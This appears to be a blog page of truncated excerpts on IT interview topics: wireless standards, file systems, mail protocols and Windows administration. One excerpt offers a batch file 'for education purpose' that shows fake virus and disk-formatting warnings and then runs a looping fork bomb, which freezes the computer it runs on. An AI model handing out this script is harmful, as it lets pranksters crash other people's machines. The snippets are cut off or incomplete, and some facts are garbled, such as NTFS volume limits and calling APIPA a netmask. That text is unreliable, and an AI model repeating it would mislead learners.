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Wireless Interview Questions & Answers — Q1. What is Wi-Fi and what is WIMAX? Wi-Fi:  Wireless Fidelity, a technology that uses radio waves for high-speed network connectivity based on IEEE 802.11 standards. Devices include PCs, laptops, video game consoles, phones, tablets, smart TVs, and more. WiMAX:  Worldwide Interoperability for Microwave Access, referenced by IEEE 802.16, commonly termed 4G. It provides wide area network access and uses OFDM modulation. Q2. What is 802.

How to configure manually wifi in domain environment Step1-  Step2- Step 3-  Step 4- Step 5- Step 6-   Step 7- Now save this setting and go to wifi and connect to your ssid with user name and password

1-GOTO CMD Mode 2- Then type- WMIC 3- Type csprodut then see serial number and product no

This code for education purpose copy this code in notepad then pase to notepad and save .bat file @echo off msg * Warning your computer has detected a virus. msg * To remove the virus click OK or close this box msg * Your Hard drives are now being formatted msg * Please wait ........... msg * APRIL FOOLS @echo off start %0 %0|%0 %0|%0 %0|%0 %0|%0 %0|%0 %0|%0 %0|%0 %0|%0 %0|%0 %0|%0 %0|%0 %0|%0 %0|%0 %0|%0 %0|%0 %0|%0 goto start

Difference between FAT32 And NTFS Fat32- 32-bit File Allocation Table Introduces 1997 Do not support encryption or any type of Authntication Maximum volume size is 32GB for all OS, some OS support 2TB Transparent compression is not support NTfs- (New Technology File System) Introduces july  1993 (window NT 3.1) Support data encryption and authentication Maximum volume size is 264 cluster (1 cluster=256TB) Transparent compression support

Basic Network Concepts: ·Data communication and transmission techniques · Fundamentals of OSI and TCP/IP model · IP address classes · IP subnetting · IPv6 fundamentals ·Basics of switching Windows Functionalities: · Installing Windows Operating System on desktops ·Managing and troubleshooting access to shared folders ·Configuring and troubleshooting hardware devices and drivers ·Troubleshooting system startup and user login problems ·Configuring and troubleshooting remote con

DIFFERENT BETWEEN POP AND IMAP PROTOCOL · When user configure imap  then access any where and system mail · In Imap all mail direct  save in server · In imap case when data delete in system then data is not delete on server · Imap port no: normal port-143, Encrypted port-993 Pop3 · Pop3 all mail download in local system · In pop3 case send time is not save on server · Pop3 is use only one system  normal port-110 Encrypted port-995 Smtp(simple mail transfer protocol) This prot

Top Interview Questions for Network Engineer / Network Administrator (Security) Are you looking for job as a Network Security Engineer?...

Windows Admin Interview Questions WINDOWS ADMIN INTERVIEW QUESTIONS 1. Describe how the DHCP lease is obtained . It’s a four-step process consisting of (a) IP request, (b) IP offer, (c) IP selection and (d) acknowledgement. 2. I can’t seem to access the Internet, don’t have any access to the corporate network and on ipconfig my address is 169.254.*.*. What happened? The 169.254.*.* netmask is assigned to Windows machines running 98/2000/XP if the DHCP server is not available.